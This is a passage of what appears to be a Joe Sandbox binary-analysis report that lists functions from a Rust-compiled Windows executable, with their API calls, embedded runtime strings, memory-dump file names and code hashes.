Opcode Fuzzy Hash: ce05b5f1b0968bff98fb8539160eb74b56b2da164e2f5dde1405df35c6bed6d5
Instruction Fuzzy Hash: 26914972A19BC188FBB08F24D9403E933A0FB5579CF044179DA5E8BB99DF389684D304

Function 00007FF699715CA0 Relevance: 9.2, APIs: 6, Instructions: 177COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32 ref: 00007FF699715D8A
GetFinalPathNameByHandleW.KERNEL32 ref: 00007FF699715D9F
GetLastError.KERNEL32 ref: 00007FF699715DAA
GetLastError.KERNEL32 ref: 00007FF699715DC3
GetLastError.KERNEL32 ref: 00007FF699715E5F
CloseHandle.KERNEL32 ref: 00007FF699715F72

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID: ErrorLast$Handle$CloseFinalNamePath
String ID:
API String ID: 3328380333-0
Opcode ID: 336c2ffac5990d8a0d3afad687ed349e86d2a9f8363363dc888a5a201cb45549
Instruction ID: f3a40c14a7d6a713ce83df1d0f3cd524e88be4f0e88b693e11d5f6fb1288c6e0
Opcode Fuzzy Hash: 336c2ffac5990d8a0d3afad687ed349e86d2a9f8363363dc888a5a201cb45549
Instruction Fuzzy Hash: 0F61C062A18BC24AFB359F25A8553F92365FB05BD8F108171DE5C9FB86DF7CA2848300

Function 00007FF69971F377 Relevance: 9.1, APIs: 4, Strings: 2, Instructions: 128COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32 ref: 00007FF69971F381
CloseHandle.KERNEL32 ref: 00007FF69971F3AF
CloseHandle.KERNEL32 ref: 00007FF69971F3C4
CloseHandle.KERNEL32 ref: 00007FF69971F923

Strings

program path has no file name, xrefs: 00007FF69971F990
0123456789ABCDEFxxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxxUnexpected format character, xrefs: 00007FF69971F941

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID: CloseHandle
String ID: program path has no file name$0123456789ABCDEFxxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxxUnexpected format character
API String ID: 2962429428-4245703473
Opcode ID: 688fe29e9296e47face9f1dc11be20400f2cec6343617790042bbab9edfb9346
Instruction ID: 57e32200910fed4593fa2c9210dd3ac6401978525d29f92a7cf380c73dd6c646
Opcode Fuzzy Hash: 688fe29e9296e47face9f1dc11be20400f2cec6343617790042bbab9edfb9346
Instruction Fuzzy Hash: 80514162A0858186EB709E2299257F92760EF46BD8F4448B6DE0DCF796DE3DE541C201

Function 00007FF6996F7940 Relevance: 9.1, APIs: 6, Instructions: 92timesleepsynchronizationCOMMON

Download Yara Rule

APIs

CreateWaitableTimerExW.KERNEL32 ref: 00007FF6996F79A1
SetWaitableTimer.KERNEL32 ref: 00007FF6996F79F4
WaitForSingleObject.KERNEL32 ref: 00007FF6996F7A05
CloseHandle.KERNEL32 ref: 00007FF6996F7A10
CloseHandle.KERNEL32 ref: 00007FF6996F7A20
Sleep.KERNEL32 ref: 00007FF6996F7A69

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID: CloseHandleTimerWaitable$CreateObjectSingleSleepWait
String ID:
API String ID: 2261246915-0
Opcode ID: 72e9249e10d04ea31e222df16e307ed292eb138d76baae3c62a0bd4991e56d0a
Instruction ID: 41c084b3fad704c9ad8480004b39c5923ed3e78fc402063dea8d45a64d6d4fcb
Opcode Fuzzy Hash: 72e9249e10d04ea31e222df16e307ed292eb138d76baae3c62a0bd4991e56d0a
Instruction Fuzzy Hash: DE213932F0960206FF7C9E792912334704ADFC57A8E099276EE3ED67D5DD3DA600A600

Function 00007FF6997176B0 Relevance: 9.1, APIs: 6, Instructions: 68networkCOMMON

Download Yara Rule

APIs

WSAGetLastError.WS2_32 ref: 00007FF699717701
WSASocketW.WS2_32 ref: 00007FF699717731
SetHandleInformation.KERNEL32 ref: 00007FF69971774C
GetLastError.KERNEL32 ref: 00007FF699717755
closesocket.WS2_32 ref: 00007FF699717767
WSAGetLastError.WS2_32 ref: 00007FF699717776

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID: ErrorLast$HandleInformationSocketclosesocket
String ID:
API String ID: 1159780279-0
Opcode ID: 89236558c6572c69d8797d5ee2b66b3e15e28f56c0e71b4a2d265fc120f2cf61
Instruction ID: e4237eb9e201f7c168c3545bfe7f5e6c627fa5cd19070856028967c880fb8e36
Opcode Fuzzy Hash: 89236558c6572c69d8797d5ee2b66b3e15e28f56c0e71b4a2d265fc120f2cf61
Instruction Fuzzy Hash: BF11A221B0816547F7306D79D1157652584EB853F8F184370EE6C8FBC6DE7EA8828B00

Function 00007FF699739672 Relevance: 9.1, APIs: 1, Strings: 5, Instructions: 52COMMON

Download Yara Rule

APIs

memcmp.MSVCRT ref: 00007FF6997396F2

Strings

R8_U, xrefs: 00007FF699739672
R8_F, xrefs: 00007FF6997396AD
R9_F, xrefs: 00007FF6997396C9
TPIDPRHTPIDPRSPLRPCACC0ACC1ACC2ACC3ACC4ACC5ACC6ACC7S0S1S2S3S4S5S6S7S8S9S10S11S12S13S14S15S16S17S18S19S20S21S22S23S24S25S26S27S28S29S30S31X0X1X2X3X4X5X6X7X8X9X10X11X12X13X14X15X16X17X18X19X20X21X22X23X24X25X26X27X28X29X30ELR_modeRA_SIGN_STATETPIDRRO_EL0TPIDR_EL, xrefs: 00007FF6997396E5
R9_U, xrefs: 00007FF699739691

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID: memcmp
String ID: R8_F$R8_U$R9_F$R9_U$TPIDPRHTPIDPRSPLRPCACC0ACC1ACC2ACC3ACC4ACC5ACC6ACC7S0S1S2S3S4S5S6S7S8S9S10S11S12S13S14S15S16S17S18S19S20S21S22S23S24S25S26S27S28S29S30S31X0X1X2X3X4X5X6X7X8X9X10X11X12X13X14X15X16X17X18X19X20X21X22X23X24X25X26X27X28X29X30ELR_modeRA_SIGN_STATETPIDRRO_EL0TPIDR_EL
API String ID: 1475443563-1802361725
Opcode ID: 337bd77bac466ef6af75d31728e79a359992667c230a7dcc0bfcfa1e8b9874c2
Instruction ID: d6cec8aae03d2c1b26e87f4d5a51eaa1388f06cc379be0c90a5b3ddb019a48ea
Opcode Fuzzy Hash: 337bd77bac466ef6af75d31728e79a359992667c230a7dcc0bfcfa1e8b9874c2
Instruction Fuzzy Hash: 80118223E2942687F7708E34B401AB755D0DF05BD6B146070C94DCE6E0EE3EE8419A94

Function 00007FF699710CE0 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 265COMMON

Download Yara Rule

APIs

WakeByAddressSingle.API-MS-WIN-CORE-SYNCH-L1-2-0 ref: 00007FF699710F7E

Strings

main, xrefs: 00007FF699710F01
<unnamed>, xrefs: 00007FF699710E0C, 00007FF699710F12
Box<dyn Any>aborting due to panic at , xrefs: 00007FF699710D78
cannot access a Thread Local Storage value during or after destructionlibrary\std\src\thread\local.rs, xrefs: 00007FF699711054

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID: AddressSingleWake
String ID: <unnamed>$Box<dyn Any>aborting due to panic at $cannot access a Thread Local Storage value during or after destructionlibrary\std\src\thread\local.rs$main
API String ID: 3114109732-1706025368
Opcode ID: cc1f5c3ede89e59188035ade7fb4191775b5214d3450f7d0f3e2e747f2a7ef4b
Instruction ID: fc863495fb72440ed2637480c09c5af4481b55542d3ddccafe416aa00d8a01d6
Opcode Fuzzy Hash: cc1f5c3ede89e59188035ade7fb4191775b5214d3450f7d0f3e2e747f2a7ef4b
Instruction Fuzzy Hash: 85C1AA22A0DA828AFB319F21D4213BD27A0EB56BC8F4845B6DA4D8F795DF3DE155C340

Function 00007FF699720970 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 182COMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32 ref: 00007FF699720993
GetLastError.KERNEL32 ref: 00007FF6997209AB
GetConsoleMode.KERNEL32 ref: 00007FF6997209EA
CloseHandle.KERNEL32 ref: 00007FF699720C49

Strings

called `Result::unwrap()` on an `Err` value, xrefs: 00007FF699720BE7

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID: Handle$CloseConsoleErrorLastMode
String ID: called `Result::unwrap()` on an `Err` value
API String ID: 1170577072-2333694755
Opcode ID: 9a240e39ae01fc025df27896c0cb0527f168890a567fce761ed590246fcb4a1e
Instruction ID: 7f94601c00a26c96b16682e2b0570d71295264353d02fabd84f265107cd41bd1
Opcode Fuzzy Hash: 9a240e39ae01fc025df27896c0cb0527f168890a567fce761ed590246fcb4a1e
Instruction Fuzzy Hash: 6E81D2A1A2868299FB30DF60D9503FC2B60EB457D8F4484B5DE4D9FAC5DE3CA186C361

Function 00007FF6996F7AC0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 175COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF69972C340: TlsGetValue.KERNEL32 ref: 00007FF69972C362
Part of subcall function 00007FF69972C340: TlsGetValue.KERNEL32 ref: 00007FF69972C3C3
Part of subcall function 00007FF69972C340: TlsSetValue.KERNEL32 ref: 00007FF69972C3D3

WaitOnAddress.API-MS-WIN-CORE-SYNCH-L1-2-0 ref: 00007FF6996F7BBE
GetLastError.KERNEL32 ref: 00007FF6996F7BC8
WaitOnAddress.API-MS-WIN-CORE-SYNCH-L1-2-0 ref: 00007FF6996F7CE9
GetLastError.KERNEL32 ref: 00007FF6996F7CF3

Strings

use of std::thread::current() is not possible after the thread's local data has been destroyedlibrary\std\src\thread\mod.rs, xrefs: 00007FF6996F7BCF, 00007FF6996F7D19

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID: Value$AddressErrorLastWait
String ID: use of std::thread::current() is not possible after the thread's local data has been destroyedlibrary\std\src\thread\mod.rs
API String ID: 1881407604-63010627
Opcode ID: c63a79c920b23dd25f0e73757991695bfd17002a75ce36b5631c1c8cc01a7c61
Instruction ID: 58f57e064ee409ab31b414369f7ed83c74f70088ed516e55b2973f6a32082b32
Opcode Fuzzy Hash: c63a79c920b23dd25f0e73757991695bfd17002a75ce36b5631c1c8cc01a7c61
Instruction Fuzzy Hash: 2E513732F19A4659FB359F6098012BD3768EF41798F5881B6DE2DDBBC5DE2CA142E300

Function 00007FF69970F310 Relevance: 8.0, APIs: 3, Strings: 2, Instructions: 498COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF69970F383
memcpy.MSVCRT ref: 00007FF69970F434
memcpy.MSVCRT ref: 00007FF69970F577

Strings

assertion failed: self.height > 0, xrefs: 00007FF69970FB07
PATHlibrary\std\src\sys_common\process.rs, xrefs: 00007FF69970F3D1, 00007FF69970F5DB

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID: memcpy
String ID: PATHlibrary\std\src\sys_common\process.rs$assertion failed: self.height > 0
API String ID: 3510742995-3507162100
Opcode ID: a087237bcf938bba385ece63445749f83ecff70f4101cd1bdba2c2cdc9de05ae
Instruction ID: 437cbe66809b21ede1814bb1b434630462eacd6668bbdf0e81dd98eca264707e
Opcode Fuzzy Hash: a087237bcf938bba385ece63445749f83ecff70f4101cd1bdba2c2cdc9de05ae
Instruction Fuzzy Hash: A032A062A08BC184FB329F25D8413F863A0FB54BD8F144576DE4D5BB96EF39A296C300

Function 00007FF6996E3A70 Relevance: 7.9, APIs: 2, Strings: 3, Instructions: 364COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF6996E3F55
memcpy.MSVCRT ref: 00007FF6996E3F6E

Strings

0123456789ABCDEFxxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxxUnexpected format character, xrefs: 00007FF6996E3A71
assertion failed: match track_edge_idx { LeftOrRight::Left(idx) => idx <= old_left_len, LeftOrRight::Right(idx) => idx <= right_len,}, xrefs: 00007FF6996E5E73
assertion failed: old_left_len >= count, xrefs: 00007FF6996E4C1A

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID: memcpy
String ID: 0123456789ABCDEFxxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxxUnexpected format character$assertion failed: match track_edge_idx { LeftOrRight::Left(idx) => idx <= old_left_len, LeftOrRight::Right(idx) => idx <= right_len,}$assertion failed: old_left_len >= count
API String ID: 3510742995-2606162457
Opcode ID: 4930317a2fd92120e4bc59f8b9b2d04c06098b35c20cfe02a10b2916d063e656
Instruction ID: fd13519f37c80abe64e01bd1d47505724315bb21bef7f5db1d52ed800e490c9f
Opcode Fuzzy Hash: 4930317a2fd92120e4bc59f8b9b2d04c06098b35c20cfe02a10b2916d063e656
Instruction Fuzzy Hash: 0DE1EE72B09B8182FB658F65D8407B963A0FB44F94F44817ADE2D97391DF38E6A1D310

Function 00007FF699723550 Relevance: 7.8, APIs: 3, Strings: 2, Instructions: 267COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF6997236A1
memcpy.MSVCRT ref: 00007FF69972381B
memcpy.MSVCRT ref: 00007FF6997238B4

Strings

program path has no file name, xrefs: 00007FF69972355B
0123456789ABCDEFxxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxxUnexpected format character, xrefs: 00007FF699723551

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID: memcpy
String ID: program path has no file name$0123456789ABCDEFxxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxxUnexpected format character
API String ID: 3510742995-4245703473
Opcode ID: 5c48e4c39586f8f585aba54d1f6d3e192b2042a8855fe34e5db6de5f69e32e97
Instruction ID: 0cde937ae84ff8c13c14742325355a457ae5f6cdf35edfe799fec85963a4e5bb
Opcode Fuzzy Hash: 5c48e4c39586f8f585aba54d1f6d3e192b2042a8855fe34e5db6de5f69e32e97
Instruction Fuzzy Hash: 3BA1D362F2875286FE208F6189006BD6B61FB05FE8F448975DE1D9BB85DF7CE1429320

Function 00007FF6996E54E0 Relevance: 7.7, APIs: 2, Strings: 3, Instructions: 157COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF6996E556E
memcpy.MSVCRT ref: 00007FF6996E55A5

Strings

assertion failed: old_left_len + count <= CAPACITY, xrefs: 00007FF6996E5092
assertion failed: new_left_len <= CAPACITY, xrefs: 00007FF6996E54A7, 00007FF6996E58A3
assertion failed: match track_edge_idx { LeftOrRight::Left(idx) => idx <= old_left_len, LeftOrRight::Right(idx) => idx <= right_len,}, xrefs: 00007FF6996E5E73

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID: memcpy
String ID: assertion failed: match track_edge_idx { LeftOrRight::Left(idx) => idx <= old_left_len, LeftOrRight::Right(idx) => idx <= right_len,}$assertion failed: new_left_len <= CAPACITY$assertion failed: old_left_len + count <= CAPACITY
API String ID: 3510742995-3535459961
Opcode ID: 70168d065c6a3ca59545dac05477e4dd7e94a6eca155fb99468ba8c209af9471
Instruction ID: 17813f5dd23fa341dea9321f31d18d8eb0a46aff37aa8d551ca7d68f23f80aba
Opcode Fuzzy Hash: 70168d065c6a3ca59545dac05477e4dd7e94a6eca155fb99468ba8c209af9471
Instruction Fuzzy Hash: 59817D32A04BD585E721CF69EC403F933A4FB58788F508626DE9C57769EF3992A5D300

Function 00007FF69971F3A5 Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 125COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32 ref: 00007FF69971F3AF
CloseHandle.KERNEL32 ref: 00007FF69971F3C4
CloseHandle.KERNEL32 ref: 00007FF69971F923

Strings

program path has no file name, xrefs: 00007FF69971F990
0123456789ABCDEFxxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxxUnexpected format character, xrefs: 00007FF69971F941

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID: CloseHandle
String ID: program path has no file name$0123456789ABCDEFxxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxxUnexpected format character
API String ID: 2962429428-4245703473
Opcode ID: e4ed8d0c59601023ecf3ebc2ed2f1d44bedde78b38ba1afae8e28cebf9c8ba44
Instruction ID: e68d9410f55a77a778fab22eecf51148d090451d9a8c3cdc8a8bbb7ddbe16caf
Opcode Fuzzy Hash: e4ed8d0c59601023ecf3ebc2ed2f1d44bedde78b38ba1afae8e28cebf9c8ba44
Instruction Fuzzy Hash: DE415062A0858186EF709E2298257FA2760FF46BD8F4448B6DE0DCF796DE3DE541C301

Function 00007FF6997149AF Relevance: 7.6, APIs: 5, Instructions: 122COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32 ref: 00007FF6997149C9

Part of subcall function 00007FF69976D100: RtlCaptureContext.KERNEL32 ref: 00007FF69976D192
Part of subcall function 00007FF69976D100: RtlUnwindEx.KERNEL32 ref: 00007FF69976D1CF
Part of subcall function 00007FF69976D100: abort.MSVCRT ref: 00007FF69976D1D5
Part of subcall function 00007FF69976D100: RaiseException.KERNEL32 ref: 00007FF69976D212

GetCurrentProcess.KERNEL32 ref: 00007FF699714A59
DuplicateHandle.KERNEL32 ref: 00007FF699714A83
GetFileInformationByHandleEx.KERNEL32 ref: 00007FF699714AD4
GetLastError.KERNEL32 ref: 00007FF699714AE0
GetLastError.KERNEL32 ref: 00007FF699715048
CloseHandle.KERNEL32 ref: 00007FF6997150D5

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID: Handle$CloseErrorLast$CaptureContextCurrentDuplicateExceptionFileInformationProcessRaiseUnwindabort
String ID:
API String ID: 2398512715-0
Opcode ID: 2a9a63a5c51e4ae2e041a984ddb3fe8cf30ee60039ed46be4040ab2850f78299
Instruction ID: 25e8edc87d0dc91216023e5e3e59a1d42c9777481115c279b68dfc62af88e314
Opcode Fuzzy Hash: 2a9a63a5c51e4ae2e041a984ddb3fe8cf30ee60039ed46be4040ab2850f78299
Instruction Fuzzy Hash: EC518C61A0869186FB30DF6298503AD3AA0FB49BC8F544079EE5D9BB8ADF3DD541C350

Function 00007FF6997149BD Relevance: 7.6, APIs: 5, Instructions: 120COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32 ref: 00007FF6997149C9
